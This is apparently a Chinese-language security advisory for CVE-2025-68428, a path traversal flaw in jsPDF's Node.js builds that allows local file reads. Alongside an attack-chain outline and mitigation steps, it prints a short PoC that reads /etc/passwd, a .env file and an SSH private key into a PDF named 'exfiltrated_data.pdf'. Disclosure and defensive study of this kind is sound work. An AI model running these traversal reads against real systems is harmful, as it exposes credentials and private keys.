IPBUF安全漏洞报告
English
CVE-2025-68428 CVSS 7.5 高危

CVE-2025-68428 jsPDF路径遍历导致本地文件读取漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-68428
漏洞类型
路径遍历/本地文件包含
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jsPDF (parallax/jsPDF)

相关标签

路径遍历本地文件包含文件读取jsPDFNode.jsCVE-2025-68428高危漏洞PDF生成库安全配置错误

漏洞概述

jsPDF是一个用于在JavaScript中生成PDF文件的开源库。该漏洞存在于jsPDF 4.0.0之前的node.js构建版本中,由于loadFile、addImage、html和addFont等方法对用户提供的文件路径缺乏充分的验证和限制,攻击者可以通过构造特殊的文件路径实现目录遍历攻击,从而读取服务器或用户本地文件系统中的任意文件内容。此漏洞仅影响node.js环境下的构建版本(dist/jspdf.node.js和dist/jspdf.node.min.js),浏览器版本不受影响。由于该库广泛应用于前端和后端项目中,攻击者可利用此漏洞窃取敏感配置文件、密钥、凭据等机密信息,对系统安全造成严重威胁。

技术细节

jsPDF在node.js环境下的构建版本中实现了多个文件读取相关的方法,包括loadFile、addImage、html和addFont。这些方法在处理用户提供的文件路径参数时,未对路径中的特殊字符(如../)进行过滤或对访问路径进行安全边界检查。当攻击者传入类似../../../../etc/passwd的路径时,系统会进行路径解析并允许访问应用运行目录之外的系统文件。攻击者利用此漏洞可以读取任意本地文件,包括但不限于:系统配置文件(如/etc/passwd、.env)、应用程序密钥、数据库凭据、API密钥、源代码文件等敏感信息。文件内容会被完整地嵌入到生成的PDF文档中,攻击者只需获取生成的PDF即可获取目标文件内容。此漏洞的利用条件较为宽松,无需认证且可通过网络发起攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用,确认其使用了存在漏洞的jsPDF版本(< 4.0.0)
STEP 2
步骤2
攻击者找到应用中使用loadFile、addImage、html或addFont方法的代码入口点
STEP 3
步骤3
攻击者构造包含路径遍历序列(如../../../../)的特殊文件路径
STEP 4
步骤4
通过HTTP请求或其他输入方式将恶意路径传递给jsPDF的受影响方法
STEP 5
步骤5
jsPDF在node.js环境下读取目标文件并将内容加载到内存
STEP 6
步骤6
攻击者通过获取生成的PDF文件或应用响应来获取目标文件内容
STEP 7
步骤7
攻击者利用获取的敏感信息(如凭据、密钥)进行进一步攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { jsPDF } = require('jspdf'); // 创建jsPDF实例 const doc = new jsPDF(); // 漏洞利用:通过路径遍历读取系统文件 // 读取 /etc/passwd 文件 try { doc.loadFile('../../../../etc/passwd'); console.log('Successfully read /etc/passwd'); } catch (error) { console.error('Error:', error.message); } // 读取应用配置文件 try { doc.loadFile('../../../../app/config/.env'); console.log('Successfully read .env file'); } catch (error) { console.error('Error:', error.message); } // 读取SSH私钥 try { doc.loadFile('../../../../home/user/.ssh/id_rsa'); console.log('Successfully read SSH private key'); } catch (error) { console.error('Error:', error.message); } // 保存包含文件内容的PDF doc.save('exfiltrated_data.pdf'); // 修复方案:升级到jsPDF 4.0.0+或使用Node.js权限模式 // const { jsPDF } = require('jspdf'); // const doc = new jsPDF(); // doc.loadFile('./allowed-directory/safe-file.pdf'); // 安全方式

影响范围

jsPDF < 4.0.0 (node.js builds: dist/jspdf.node.js, dist/jspdf.node.min.js)

防御指南

临时缓解措施
如果无法立即升级到jsPDF 4.0.0,建议采取以下临时措施:1) 对所有用户可控的文件路径参数进行严格过滤和验证,拒绝包含路径遍历序列(../或..\)的输入;2) 使用path.resolve()规范化路径并验证最终路径在预设的安全目录内;3) 限制node进程的运行用户权限;4) 启用Node.js的实验性权限模式(v20.0.0+)或使用正式版权限标志(v22.13.0+);5) 实施WAF规则阻止包含路径遍历特征的可疑请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表